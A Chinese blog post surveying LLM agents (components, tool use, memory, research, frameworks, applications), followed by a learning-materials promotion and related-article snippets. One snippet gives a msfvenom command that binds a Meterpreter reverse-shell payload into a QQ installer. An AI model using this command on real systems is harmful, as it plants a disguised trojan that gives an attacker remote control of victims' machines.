2025年的风口!| 万字长文,带你纵观大模型Agent,涉及研究痛点、应用场景、发展方向

AI Agent vs. Agentic AI | 一文带你了解:什么是AI Agent,什么是Agentic AI? 一文带你了解Agentic AI 阅读详情

引言

去年曾发文说大模型Agent是2024年的发力点,现在随着基模能力越来越强,今年的AI Agent仍将是热门话题,而且一些最新学术研究都与Agent相关。作为今年特别重要的一个风口,躺在风口上也能稍你一程。那么什么是Agent呢,可能每个人对Agent的理解都不一样。今天给大家重新梳理一下Agent的知识,其中主要包括Agent组成、各部分面临痛点、应用场景、未来发展、以及相关开源框架等,其中穿插了一些个人思考,有错误地方还请批评指正。img

如需文中思维导图、论文等,回复:AI Agent 获取

初识Agent

之前的AI模型,主要依赖输入指令,让模型按照步骤一步一的执行,最终完成任务。而Agent,它不需要依赖明确的指令,而是基于目标进行思考,规划、执行、反思等过程,来达到既定目标。其实,它就像人类在处理复杂问题时,先对问题进行分析,根据分析思路来解答问题,在此过程中人类也可能会用到书籍、搜索引擎等工具,最终得到答案,最后再对结果做一下核算。

随着LLM技术的发展,生成式 AI 模型也具备了自我思考的能力,也可以通过工具访问实时信息并执行现实世界的任务。这种结合推理、逻辑和外部信息访问能力的 AI 体系被称为Agent(智能代理),其能力超越了单一 AI 模型的独立运作模式。img再举个简单的例子,假设你正在计划一次旅行,你需要了解目的地天气、航班信息,并预订酒店。如果你单独使用 AI 模型,它只能根据已有的训练数据提供建议,可能无法给出实时准确的信息。但如果这个 AI 模型配备了天气 API、航班查询工具和酒店预订系统,它就可以实时获取最新的天气情况、查询最佳航班,并直接帮你完成预订操作。这个AI 体系就可以理解为一个智能代理(Agent)。

Agent定义

最近大家都在提Agent,例如AutoAgent、Dify、Manus等,突然想到一个问题,那么什么才是Agent,有没有明确的定义呢?为此关于Agent的定义,网上搜索了一圈,说其最早“Agent”这个词可以追溯到古罗马时期,并且还能够从一些哲学家的哲学作品找到影子。

一篇文章中说Agent的哲学概念泛指具有自主性的概念或实体,它可以是人造的物体,可以是植物或动物,当然也可以是人。这定义挺好的,我没意见。感兴趣的小伙伴可以就这个定义去搜索了解一下,把故事线梳理清楚了可以整篇论文了。个人认为一个东西能够对外界环境做出反应,并修正自己的行为,这就可以是一个智能体(当然你可以有自己的想法)。

在人工智能领域应用方面,作者主要接触下面两种类型智能体(小工具智能体除外):

一种是基于小模型+规则的智能体,通过模型做意图分类、实体识别、情感分类等,然后人为添加流程控制和固定外调接口,让智能体在不同的流程节点,给出对应的答案,就比如当前大多数公司使用的智能客服,首层一般都是一个意图分类模型做菜单导航,每个业务都对应的业务流程节点,每个节点人为配置,通过实体识别、意图识别进入下一个节点,最终实现业务办理或者介绍。尽管每家都说智能客服准确率怎么样,解决了多少问题,节约了多少人力,但对于实际用户来说,还是人工方便。

一种是基于大模型+规则智能体,由于大模型(LLM)具备逻辑推理、任务规划、工具调用等相关能力,相当于融合了小模型的实体识别、意图分类、人为流程编排、接口外调等功能。为此,目前主流的AI Agent以大模型为核心,Agent能够自主感知、规划、执行和反馈,从而完成复杂任务,比如最近的Manus就引起了大家的注意。相比 传统的AI 仅限于被动响应,Agent更强调自主决策和任务执行能力。(未来发展方向基本都会依赖大模型能力吧~)

然而,不管Agent最早出自哪里,你是怎么理解Agent。我们参考一下去年Google发布了一篇Agent的白皮书,给出了Agent的定义:**Agent 是一个能够自主决策并采取行动的软件系统,它能够观察环境、使用工具,并以目标为导向执行任务。**Agent具备以下几个关键特征:

  • 自主性:可以在无人工干预的情况下运行,独立做出决策。
  • 目标驱动:具备主动性,即使没有明确指令,也会推理如何完成任务。
  • 环境感知:能够处理外部输入,如用户请求、传感器数据或数据库信息。
  • 可扩展性:可以整合不同的工具(API、数据库、计算模块等),提升执行能力。
  • 适应性:能根据任务需求调整行为,优化执行路径。

从这个定义来看,突然发现,这不就指的身为“牛马”的我们吗?导师、领导下达指令,我们结合所学知识、搜索引擎、产出工具(微软三大件)完成工作;提交上去领导发现错误,我们就会被批评,还要PUA一下:这种事情你就不能主动思考、主动检查一下吗?还要我提醒!做的好一些呢,奖励一下(多发200百)。巧了,对上了!Agent==“牛马”==我,这么考虑的话,Multi-Agent,不就是对应现实的课题小组、xx项目团队么,再放大一些,世界就也是一个Agent。(说多了~)

Agent的组成部分

Agent 由多个组件协同工作,以实现高效决策和任务执行。看到很多文章都提到说:大模型Agent由规划、记忆、工具与行动四大关键部分组成,分别负责任务拆解与策略评估、信息存储与回忆、环境感知与决策辅助、以及将思维转化为实际行动。但实际上现在的大模型Agent最主要几个关键部分为:base大模型的动态推理规划、工具模块、记忆模块。如下图所示:img

Agent工作流程

基于上面对Agent的组成部分,一个典型的Agent运行流程一般会包括感知、推理、决策、执行、反馈等几个流程。其中:

感知(Perception) 主要是接收输入信息,这个信息可以是用户输入或者是通过传感器在环境中获取信息;

推理(Reasoning):主要是综合上下文、环境感知信息等,分析输入数据并规划任务执行步骤;

决策(Decision Making):通过推理得到的结果来选择合适的工具或操作;

执行(Action Execution):调用 API、数据库或计算模块,完成任务;

反馈(Feedback & Learning):分析执行结果,优化未来决策。

举个例子:比如在电商智能客服场景下,有一个 AI 智能客服 Agent 来解答客户问题。当用户输入为:“请帮我查询这件商品的库存。”;Agent接收到输入信息之后,首先会通过上下文正确解析用户请求,然后会调用库存数据库 API 查询数据,即通过订单号查询订单信息、获取商品ID,结合通过商品ID再获取库存;最后结合用户问题和数据库结果来生成对客回复;输出给用户:“该商品目前有 15 件库存,可立即发货。”

举一反三,通过整合语言模型、工具和智能编排,Agent 能够动态响应不同类型的用户需求,实现更强大的自动化和智能化服务。

一、LLM动态推理规划

作为 Agent 的核心决策引擎,它决定 Agent 如何分析信息、精准的拆解任务、动态推理、做出选择、执行。在此过程中通常会用到各种Prompt框架、多Agent协同、模型微调等方法,来提高LLM推理规划能力。(这是学术研究的一个重要研究方向)

1、Agent中LLM能力

大语言模型作为Agent系统的智能核心,扮演着不可替代的中枢角色。其主要需要具备以下能力:

1)理解分析 大模型凭借深厚的理解与分析能力,从模糊或间接的表述中提取真正的用户需求,补充用户未明确说明但对任务执行必要的信息,并判断问题的难度和所需资源,当遇到在信息不完整时请求澄清或做出合理假设。当用户说"帮我查一下明天去上海的航班"时,大模型能自动识别出需要使用航班搜索工具,并了解需要确定出发地、日期和偏好等关键参数。

2)规划决策 该项能力可以让Agent能够处理复杂多步任务,即将复杂目标分解为可管理的子任务,设计工具调用序列,并根据中间结果动态调整执行计划,在此过程中它还可以评估不同解决方案的效率和成本,预判可能的失败点并准备备选方案,最终确定任务执行的最佳顺序。这里一般都会用到思维链、ToT、ReAct等一些推理方法,当执行如"为我的创业项目创建一个市场分析报告"这样的复杂请求时,大模型会规划出搜索市场数据、分析竞争对手、生成图表、撰写分析等一系列步骤。

3)工具调用规划 将任务需求精确映射到适当应用工具上,构建符合工具API要求的结构化参数,确定何时调用工具以及何时使用自身知识,识别需要多个工具协同的场景,当首选工具不可用时找出替代方案,生成符合特定工具要求的精确调用指令。例如,对于"分析这组数据并创建可视化"的请求,大模型能判断需要先使用数据处理工具,然后是统计分析工具,最后是可视化工具,并为每个工具生成适当的参数。

4)上下文整合 大模型的上下文整合能力保证了Agent系统的连贯性和一致性,它追踪任务状态,融合历史交互信息,维护长期记忆。预训练获得的广泛知识使大模型能够补充专业背景,应用常识推理,并将知识从一个领域迁移到相关问题。面对工具返回的原始数据,大模型提供关键的再处理能力,将技术性输出翻译为普通语言,提取核心信息,整合多源结果为统一答案。

5)大模型知识 大模型经过海量知识的淬炼,具备庞大的知识体系。它可以补充工具可能缺乏的专业知识,应用基本世界知识辅助决策,它还可以将专业概念转化为用户可理解的说明。在跨领域场景下,发现不同知识领域间的联系,将另外一个领域的知识经验应用到当前场景。

6)解释再处理 大语言模型能够将复杂的技术输出转化为通俗易懂的语言,提取关键信息,重构数据格式,并综合多个工具的结果,形成统一且易于理解的答案。它还能对不同工具的结果进行比较分析,并提供最适合的可视化建议。例如,当搜索工具返回大量信息时,模型可以提取相关内容并以简洁的方式呈现给用户。

7)反馈自适应 大语言模型赋予了Agent系统学习和适应能力。它能够识别工具调用失败或结果异常,根据反馈调整策略,并自我评估解决方案的质量。模型还可以监测用户满意度,根据用户反馈逐步优化解决方案。例如,当用户对初始结果不满意时,模型会理解具体原因并调整策略,比如提供更详细的信息或尝试其他工具。

通过这些深入的能力,大模型不只是Agent系统的一个组件,而是真正的智能核心,协调和增强了整个系统的功能,使之远超各部分能力的简单叠加。

2、研究痛点

大模型Agent虽然拥有强大的能力,但仍面临多重技术瓶颈。

1)在推理能力方面,Agent常在复杂任务中出现推理链断裂,抽象思维不足,且自我纠错能力有限,导致在科学研究等高度抽象领域表现欠佳。同时,因果推理能力的缺乏使其难以区分相关性与因果性,进一步限制了其分析复杂问题的能力。

2)在工具使用效率方面,同样是制约Agent发展的关键因素。从工具选择到参数配置,从错误处理到多工具协同,Agent在与外部工具交互的各个环节都存在明显短板。特别是当外部API发生变更时,Agent适应新接口的能力更是微弱,这严重影响了其在实际应用中的可靠性和稳定性。

3)在长期规划能力方面,大模型长期规划能力不足也是Agent的显著弱点。任务分解不当、优先级管理薄弱、计划调整能力差等问题使Agent难以胜任需要长期规划的复杂任务。同时,资源分配不合理和反馈循环不闭合进一步降低了其执行效率,尤其在动态环境中更为明显。

4)在可信度方面,幻觉问题则是影响Agent可信度的主要障碍。知识边界模糊导致模型在不确定时仍给出看似确定的答案;语言生成的流畅性往往掩盖了事实错误;上下文污染和锚定效应又使错误在交互过程中被不断放大,最终导致用户对Agent产出的信任危机。

5)在长期记忆方面,上下文窗口限制则从根本上制约了Agent的长期记忆能力。随着交互的延长,早期信息的记忆衰减、信息检索困难、上下文压缩不足等问题日益凸显,使Agent难以在长时间交互中保持一致性和连贯性,极大地限制了其在复杂场景中的应用价值。

6)在安全控制方面,确保工具使用的安全性与合规性是不可忽视的研究方向。这包括权限管理框架,限制Agent可访问的工具范围;需要对agent行为制定一定的约束机制,防止危险操作;在审计跟踪系统,需要记录工具使用历史以供审查;同时需要考虑伦理决策模型,评估工具使用的伦理影响;以及对抗性测试方法,发现并修复潜在的安全漏洞。目前有研究者还在开发形式化验证技术,从理论上保证Agent的工具使用行为符合预定规范。

3、相关研究

1)北大提出元计划优化框架:MPO,增强LLM Agent规划能力。MPO利用元计划辅助代理规划,并根据代理任务执行的反馈持续优化元计划。实验表明,MPO在两个代表性任务上显著优于现有基线,且分析显示MPO提供了即插即用解决方案,提高了任务完成效率和在未见场景中的泛化能力。img2)Meta提出 MLGym 和 MLGym-bench:用于评估和开发大模型Agent。其中MLGym 是首个针对机器学习(ML)任务的 Gym 环境,旨在促进强化学习(RL)算法在训练此类 Agent 方面的研究。MLGym-bench 基准包含 13 个来自计算机视觉、自然语言处理、强化学习和博弈论等不同领域的开放式 AI 研究任务,为评估和提升 AI 研究 Agent 提供了全面的平台。img3)悉科大提出ATLAS,以提高大语言模型(LLM)Agent 的效率和泛化能力。ATLAS通过聚焦关键步骤,减少过拟合风险,提升不同环境和任务中的泛化性。实验表明,ATLAS选择的关键步骤微调的LLM在性能上优于全步骤微调的LLM及最新的开源LLM代理。img4)复旦提出大模型Agent自动化方法:SELFGOAL,增强大模型复杂任务能力。SELFGOAL,旨在增强大模型Agent在有限的人类先验和环境反馈下实现复杂任务解决能力。实验结果,SELFGOAL 显著提高了大模型Agent在各种任务(包括竞争、合作和延迟反馈环境)中的表现。img更多前沿内容欢迎访问>> 一个专注于大模型/AIGC、Agent、RAG等学术前沿的知识社区!

二、工具(Tools)

Agent中的工具(Tools),主要用于扩展 Agent 访问外部世界的能力,例如 API、数据库等,使其能够执行检索、计算、数据存储等操作,注意:在多Agent情况下,其它Agent也可以理解为工具。它是现代AI发展的关键方向,它显著扩展了模型的能力边界,使AI能够执行原本无法完成的操作,如网络搜索、复杂计算和API调用等。

通过工具使用,Agent不仅能与外部世界进行实时交互,获取最新信息,还能在特定领域发挥专业优势,比如利用代码编辑器或数据分析工具解决专业问题。这种能力大幅提高了任务完成的质量和准确性,减少了幻觉现象,同时增强了AI系统的自主性,降低了人工干预的需求。

1、工具使用

1)传统方式写好API代码接口,让模型解析出代码接口所需要的参数,然后调用接口拿到结果。比如:写了一个机票查询的接口。用户说:我要买一张北京到上海的机票,让模型提取文中上海、北京两个地址,才能调用接口拿到结果。但是如果直接说:我要买一张到上海的机票,这个时候API接口就无法调用,可见这种方法维护性和扩展性都很差。

2)大模型function call,当前大模型基本上都具备了外调function的能力。大模型识别用户意图后,从预定义的函数列表中自动选择合适的函数,生成结构化的JSON格式参数,然后系统执行实际的函数调用。这允许模型以标准化方式与外部API和服务交互,是目前商业API中最常见的工具使用形式。下图是一个工具应用流程。一个简单的使用流程可以参考:https://blog.youkuaiyun.com/yinizhilianlove/article/details/146203159?spm=1001.2014.3001.5501img3)工具增强型提示,在提示词中直接描述可用工具及其使用方法,让模型生成调用工具的指令。这种方法简单直接,但对提示工程要求较高。

4)工具库将大模型可能用到的工具存储起来,当面对不同的问题的时候,去工具箱中检索,并选择合适的工具。其实RAG技术,只是向量数据库中存储的工具API的详细介绍。如下图所示:img5)模型微调通过特定的训练或微调,教会模型如何使用特定工具。这种方法将工具使用能力直接编入模型参数,使模型在特定工具上表现更佳。

2、存在的问题

1)工具选择:杀鸡焉用宰牛刀!开发更精确的工具选择算法,使Agent能够根据任务需求、工具功能特性和历史使用效果做出最优决策。这包括上下文感知型选择机制,能够理解任务的细微差别;元认知能力,让Agent评估自身是否需要外部工具辅助;以及基于不确定性的决策框架,在信息不完全情况下做出合理选择。

2)工具应用效率优化:API接口调用那么贵!提高工具使用效率是减少资源消耗的关键。研究重点包括精简工具调用流程,减少不必要的API请求;开发工具调用缓存机制,重用之前的调用结果;设计参数优化技术,自动调整工具参数以获得最佳输出;以及建立工具使用成本模型,帮助Agent在效率与效果间取得平衡。

3)错误处理机制:查缺补漏!利用异常检测算法,识别工具调用失败或异常输出;失败恢复策略,自动尝试替代方案;错误诊断系统,分析失败原因并提供修复建议;以及渐进式重试机制,根据失败模式调整重试参数。

4)工具协作:解决复杂问题往往需要多工具协作。研究包括工具间信息传递协议,确保数据在工具间无缝流动;工具依赖管理系统,协调具有前后依赖关系的工具调用;工具组合效果预测模型,评估不同工具组合的预期效果;以及工具冲突解决机制,处理多工具间可能出现的冲突或不一致。

5)学习工具使用:从工具使用成功与失败中优化策略;少样本学习技术,快速适应新工具;行为克隆方法,从人类专家示范中学习工具使用技巧;以及持续学习架构,不断更新工具使用知识。

3、相关研究

2025年,山大提出了TOOLRET,一个包含7.6k多样化检索任务和43k工具的异构工具检索基准超过200k实例的大规模训练数据集

记忆模块主要负责存储和管理信息,从而实现更精准、更个性化的响应。具体来说:它不仅维护即时对话上下文,更承担着知识持久化、经验累积与信息检索的关键功能。在复杂任务处理过程中,记忆模块可以让Agent能够处理超出上下文窗口的长期依赖问题,同时记录工具调用历史与结果,避免重复操作并支持结果整合。

此外,它还负责跟踪多步骤任务的进度状态,确保任务完整执行,并存储Agent的自我评估历史,为元认知和持续改进提供基础支持。

1、长短期记忆

记忆模块通常分为短期记忆和长期记忆,不同类型的记忆模块具有不同的功能和特点。通过记忆模块,AI Agent 可以更好地理解当前情境,生成合理的响应,提供定制化服务,并通过记录交互历史不断改进自身行为模式。其中:

  • 短期记忆主要用于存储临时性信息,例如当前对话的上下文内容或短时间内的用户指令。它具有容量有限、快速响应和时间衰减的特点,通常依赖简单的数据结构(如队列或栈)来实现,能够支持实时任务,但过期内容会被自动清理。
  • 长期记忆用于存储持久化信息,如用户的偏好、历史交互记录以及知识库。它具有持久性、知识积累和个性化服务的特点,能够支持推理和问题回答,通常依赖向量数据库、图数据库或键值对存储等复杂技术来实现。

2、存在的问题

  • 记忆检索:长期记忆一般都会存在向量数据库里面,是个性化服务的关键,如何准确的检索出不同业务场景下的记忆数据,以及平衡检索效率与资源消耗的关系,这个其实和RAG技术相似,可以从整合多个维度的信息。同样参考下图:img
  • 记忆压缩:Agent积累的信息量呈指数级增长,而上下文窗口和计算资源却有明确限制。记忆压缩技术通过提取核心信息、减少冗余,在保持关键语义的同时大幅降低存储和处理成本。
  • 智能化遗忘:协调与整合冲突信息,平衡主动记忆管理与被动记忆获取。个性化与通用性平衡是另一关键挑战,涉及用户特定记忆的隔离与保护,跨用户经验的抽象与泛化,以及隐私保护与记忆共享边界的界定。

3、相关研究

2025年,提出了解耦知识推理三个关键方向,助力构建一个结合训练有素的检索系统和大型外部记忆库的推理系统,以克服现有架构在学习新场景推理时的局限。img2024年,记忆力压缩方面,斯坦福设计了一个名为HippoRAG的新型检索增强模型。装备了这一"类脑"记忆系统的大模型在多种需要知识整合的任务中展现出了惊人的性能提升。HippoRAG的诞生,为大模型赋予"类脑"的知识整合和长期记忆能力开辟了一条全新的路径。img

2024年,AIRI 面对没有一个统一的方法来测试智能体的记忆能力,很难准确地比较不同智能体的记忆能力的问题。通过定义不同类型的记忆(比如长期记忆和短期记忆)来简化这个问题,并提出了一个实验方法来评估智能体的记忆能力。

img

Agent开源框架

LangChain

  • 网址: https://www.langchain.com
  • GitHub: https://github.com/langchain-ai/langchain
  • 功能: 构建基于LLM的应用程序,提供链式调用、工具整合和代理功能

AutoGen

  • 网址: https://microsoft.github.io/autogen
  • GitHub: https://github.com/microsoft/autogen
  • 功能: 多代理对话框架,支持代理间协作

LlamaIndex

  • 网址: https://www.llamaindex.ai
  • GitHub: https://github.com/jerryjliu/llama_index
  • 功能: 数据连接和检索增强框架

CrewAI

  • 网址: https://www.crewai.io
  • GitHub: https://github.com/joaomdmoura/crewai
  • 功能: 协作代理框架,专注于角色分配和工作流

XAgent

  • GitHub: https://github.com/OpenBMB/XAgent
  • 网址: https://x-agent.net
  • 功能: 自主智能体框架,强调规划和执行

LangGraph

  • 网址: https://python.langchain.com/docs/langgraph
  • GitHub: https://github.com/langchain-ai/langgraph
  • 功能: 基于状态机的代理编排框架

CAMEL

  • GitHub: https://github.com/camel-ai/camel
  • 功能: 基于角色的代理通信框架

DSPy

  • 网址: https://dspy.ai
  • GitHub: https://github.com/stanfordnlp/dspy
  • 功能: 以编程方式优化LLM提示和链接

Haystack

  • Cold网址: https://haystack.deepset.ai
  • GitHub: https://github.com/deepset-ai/haystack
  • 功能: 模块化NLP框架,专注于问答系统和搜索

Agentverse

  • GitHub: https://github.com/OpenBMB/AgentVerse
  • 功能: 多代理模拟环境,支持复杂交互

Agent应用场景

大模型 Agent 在医疗、教育、工业、金融服务和操作系统等领域展现出广泛的应用前景,但同时也面临诸多挑战。

医疗领域,Agent 可用于智能问诊、医疗影像分析、个性化健康管理及医学知识库查询,提高诊断准确率并优化医疗资源。然而,医疗数据的隐私保护、法规合规性以及 AI 诊断的可解释性仍是主要难点。此外,医疗行业对 AI 的应用仍需经过严格监管,确保其安全性和可靠性。

教育领域,Agent 可提供智能辅导、自动批改作业、生成教育内容,并辅助语言学习。例如,基于 AI 的个性化学习系统可以根据学生的知识水平定制学习路径,提高学习效率。然而,知识更新问题、误导性信息以及个性化与标准化的平衡仍然是 AI 教育应用的挑战。确保 AI 能够提供准确、可靠的知识,并且适应不断变化的教育需求,是行业发展必须解决的问题。

工业领域 Agent 可应用于智能运维、设备预测维护、智能制造、机器人控制及供应链优化。例如,AI 可以分析工业设备的运行数据,预测故障并优化生产流程,提升生产效率。然而,工业环境对 AI 的实时性要求高,数据往往分散在不同系统,形成“数据孤岛”,如何整合利用这些数据成为挑战(各公司的大数据部门需要考虑)。此外,企业在引入 AI 方案时,还需要考虑投入成本与实际收益的平衡,以确保 AI 解决方案的经济可行性。

金融领域 Agent 可用于智能投顾、量化交易、风险管理、欺诈检测、信用评分及个性化金融服务。AI 通过分析市场数据和用户行为,提供投资建议并提高金融安全性。然而,金融行业的严格监管要求 AI 具有高度的透明度和可解释性,确保合规。此外,金融市场变化迅速,AI 需要具备持续学习的能力,以适应不断变化的市场环境。同时,AI 也可能成为金融攻击的目标,如何防范对抗性攻击是关键问题。

操作系统 Agent可应用于智能助手、代码生成、办公自动化及智能运维。例如,智能助手可以帮助用户完成任务、搜索信息、管理日程,提高工作效率。代码生成工具如 GitHub Copilot 也极大地提升了开发者的生产力。然而,AI 助手在收集用户数据时需要确保隐私安全,同时,不同操作系统和软件生态的兼容性问题也需要解决。此外,提高 AI 的泛化能力,使其能够适应不同用户的使用习惯,也是提升用户体验的关键。

Agent未来发展

1)模型能力持续进化

通过参数规模扩大与架构优化,大模型将突破语言理解、逻辑推理等能力边界。例如,在任务规划、工具使用等方面,效率能力更高;在模型思考推理速度等方面模型响应将更快。难点:千亿级参数模型的分布式推理优化,降低模型所需硬件功耗。

2)多模态融合成为标配

未来的Agent将整合文本、图像、语音等多模态输入输出能力,例如医疗Agent可同时分析CT影像(视觉)和病历文本(语言),生成综合诊断报告。

3)协作生态体系形成

多Agent系统将建立分工协作机制,通过博弈论框架实现动态任务分配。例如在物流调度场景中,路径规划Agent、库存管理Agent等可基于强化学习算法形成协同决策。难点:多Agent协作时的通信容错与冲突消解。

4)知识增强与成本优化

采用RAG(检索增强生成)技术,无需重新训练即可更新知识库。例如金融Agent通过实时接入市场数据源,快速响应政策变化。这就需要了解模型对本身知识和外挂知识整合能力,有研究显示:如果给模型的知识与本身的知识差距不大,模型会更倾向于自己的知识;同时模型更倾向于模型生成的数据知识。

5)伦理安全更加规范

随着应用普及,需解决数据隐私、算法偏见等问题。可以通过联邦学习实现数据隐私保护,目前了解到有一种方案是将模型分块,模型主体放在远程,降低本地资源要求。在客户端和模型服务端,进行加解密转换。

如何零基础入门 / 学习AI大模型?

大模型时代,火爆出圈的LLM大模型让程序员们开始重新评估自己的本领。 “AI会取代那些行业?”“谁的饭碗又将不保了?”等问题热议不断。

不如成为「掌握AI工具的技术人」,毕竟AI时代,谁先尝试,谁就能占得先机!

想正式转到一些新兴的 AI 行业,不仅需要系统的学习AI大模型。同时也要跟已有的技能结合,辅助编程提效,或上手实操应用,增加自己的职场竞争力。

但是LLM相关的内容很多,现在网上的老课程老教材关于LLM又太少。所以现在小白入门就只能靠自学,学习成本和门槛很高

那么我作为一名热心肠的互联网老兵,我意识到有很多经验和知识值得分享给大家,希望可以帮助到更多学习大模型的人!至于能学习到多少就看你的学习毅力和能力了 。我已将重要的AI大模型资料包括AI大模型入门学习思维导图、精品AI大模型学习书籍手册、视频教程、实战学习等录播视频免费分享出来。

这份完整版的大模型 AI 学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

👉 福利来袭优快云大礼包:《2025最全AI大模型学习资源包》免费分享,安全可点 👈

全套AGI大模型学习大纲+路线

AI大模型时代的学习之旅:从基础到前沿,掌握人工智能的核心技能!

read-normal-img

640套AI大模型报告合集

这套包含640份报告的合集,涵盖了AI大模型的理论研究、技术实现、行业应用等多个方面。无论您是科研人员、工程师,还是对AI大模型感兴趣的爱好者,这套报告合集都将为您提供宝贵的信息和启示。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

👉学会后的收获:👈
• 基于大模型全栈工程实现(前端、后端、产品经理、设计、数据分析等),通过这门课可获得不同能力;

• 能够利用大模型解决相关实际项目需求: 大数据时代,越来越多的企业和机构需要处理海量数据,利用大模型技术可以更好地处理这些数据,提高数据分析和决策的准确性。因此,掌握大模型应用开发技能,可以让程序员更好地应对实际项目需求;

• 基于大模型和企业数据AI应用开发,实现大模型理论、掌握GPU算力、硬件、LangChain开发框架和项目实战技能, 学会Fine-tuning垂直训练大模型(数据准备、数据蒸馏、大模型部署)一站式掌握;

• 能够完成时下热门大模型垂直领域模型训练能力,提高程序员的编码能力: 大模型应用开发需要掌握机器学习算法、深度学习框架等技术,这些技术的掌握可以提高程序员的编码能力和分析能力,让程序员更加熟练地编写高质量的代码。

👉 福利来袭优快云大礼包:《2025最全AI大模型学习资源包》免费分享,安全可点 👈

img

这份完整版的大模型 AI 学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

作为普通人,入局大模型时代需要持续学习和实践,不断提高自己的技能和认知水平,同时也需要有责任感和伦理意识,为人工智能的健康发展贡献力量。

嵌入式通讯协议全解析:UART、I2C、SPI、CAN与Modbus实战指南 通讯协议是嵌入式系统设计的核心基础,也是面试与工程实践中避不开的关键环节。从串口UART的异步收发,到I2C总线寻址与SPI高速全双工传输,再到RS485差分长距离通信、CAN总线多主仲裁机制,以及工业领域事实标准的Modbus RTU协议,每一种技术都对应着特定的应用场景与设计权衡。理解协议背后的物理层原理、时序特征和工程坑点,才能真正解决设备间通信的选型、调试与健壮性问题。本文从基础概念出发,系统梳理各类嵌入式通讯协议的工作机制,并结合实际代码示例与对比表格,帮助开发者在面对面试问题或项目设计时,构建从 阅读详情

相关推荐

使用autodl服务器运行CasMVSNet以及使用colmap产生的数据

MVSNet学习

qq_44708206的博客 3274

2025年的风口!万字长文,带你纵观大模型Agent,涉及研究痛点、应用场景、发展方向

最近大家都在提Agent,例如AutoAgent、Dify、Manus等,突然想到一个问题,那么什么才是Agent,有没有明确的定义呢?为此关于Agent的定义,网上搜索了一圈,说其最早“Agent”这个词可以追溯到古罗马时期,并且还能够从一些哲学家的哲学作品找到影子。一篇文章中说Agent的哲学概念泛指具有自主性的概念或实体,它可以是人造的物体,可以是植物或动物,当然也可以是人。这定义挺好的,我没意见。感兴趣的小伙伴可以就这个定义去搜索了解一下,把故事线梳理清楚了可以整篇论文了。

2401_85116933的博客 1558

STM32巡线小车PID调参实战:从五路灰度传感器数据到稳定运行的避坑指南

本文详细介绍了STM32巡线小车的PID调参实战,从五路灰度传感器数据处理到PID参数优化,提供了系统化的调试方法和常见问题解决方案。通过加权平均法计算偏移量,逐步调整比例、积分、微分参数,实现小车稳定巡线。文章还涵盖了定时器配置、控制周期优化及高级调试技巧,帮助开发者避开常见陷阱,提升巡线性能。

weixin_42570484的博客 193

2025年的风口! 万字长文,带你纵观大模型Agent,涉及研究痛点、应用场景、发展方向_agent最新进展

最近大家都在提Agent,例如AutoAgent、Dify、Manus等,突然想到一个问题,那么什么才是Agent,有没有明确的定义呢?为此关于Agent的定义,网上搜索了一圈,说其最早“Agent”这个词可以追溯到古罗马时期,并且还能够从一些哲学家的哲学作品找到影子。一篇文章中说Agent的哲学概念泛指具有自主性的概念或实体,它可以是人造的物体,可以是植物或动物,当然也可以是人。这定义挺好的,我没意见。感兴趣的小伙伴可以就这个定义去搜索了解一下,把故事线梳理清楚了可以整篇论文了。

HUANGXIN9898的博客 1692

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

一种基于因果干预的少样本学习的故障诊断模型

本文提出CIRNet,一种融合元学习与因果干预的少样本故障诊断框架。针对传统方法易学习伪相关特征的问题,CIRNet通过构建结构因果模型,采用类级和特征级双调整策略消除先验知识干扰。实验在多个轴承/齿轮数据集上验证其有效性,在跨组件任务中准确率最高达93.41%,特征可视化显示更好的类可分性。相比现有方法,CIRNet显著提升了模型泛化能力和可解释性。

hasakie的博客 956

2025年的风口!| 万字长文,带你纵观大模型Agent,涉及研究痛点、应用场景、发展方向...

点击上方“AINLPer“,设为星标更多干货,第一时间送达引言去年曾发文说大模型Agent是2024年的发力点,现在随着基模能力越来越强,今年的AI Agent仍将是热门话题,而且一些最新学术研究都与Agent相关。作为今年特别重要的一个风口,躺在风口上也能稍你一程。那么什么是Agent呢,可能每个人对Agent的理解都不一样。今天给大家重新梳理一下Agent的知识,其中主要包括Agent组成、各...

人工智能学家 496

【ROS2】MOMO的鱼香ROS2(三)ROS2入门篇——ROS2第一个节点

【ROS2】MOMO的鱼香ROS2(三)ROS2入门篇——ROS2第一个节点

qq_44703886的博客 3619

万字长文!从AI Agent到Agent工作流,一文详细了解代理工作流(Agentic Workflows)

万字长文!从AI Agent到Agent工作流,一文详细了解代理工作流(Agentic Workflows)

yinizhilianlove的博客 1287

在Jetson Orin (Arm64)上从Ubuntu22.04回退至20.04的完整指南及ROS-noetic适配方案

本文提供了在Jetson Orin (Arm64)设备上将Ubuntu 22.04系统回退至20.04 LTS版本的完整操作指南。针对机器人开发中ROS-noetic对Ubuntu20.04的官方最佳支持,详细阐述了从关键备份、软件源与APT优先级配置、系统降级执行到后续问题排查的全过程,并附带了在Arm64架构上成功安装和验证ROS-noetic的适配方案,旨在为开发者构建稳定可靠的机器人开发环境。

flower的专栏 580

CloudSat卫星数据高效下载与自动化处理指南

本文详细介绍了CloudSat卫星数据的高效下载与自动化处理方法,包括交互式图形界面和wget批量下载技巧,以及使用Python脚本实现自动化处理和数据质量控制。内容涵盖从数据准备到实战应用的完整流程,特别适合气象研究和气候建模领域的工作者提升工作效率。

weixin_28700411的博客 233

盘点一下!大模型Agent 在各个行业领域的 “花式玩法”,涉及特别广泛~~

AI大模型是指使用大规模数据和强大的计算能力训练出来的人工智能模型。这些模型通常具有高度的准确性和泛化能力,可以应用于各种领域,如自然语言处理*、图像识别、*语音识别等。

AUG2468的博客 1055

Python 【编程实战】玩转 MCP 在工具函数中获取请求 Headers 的正确姿势

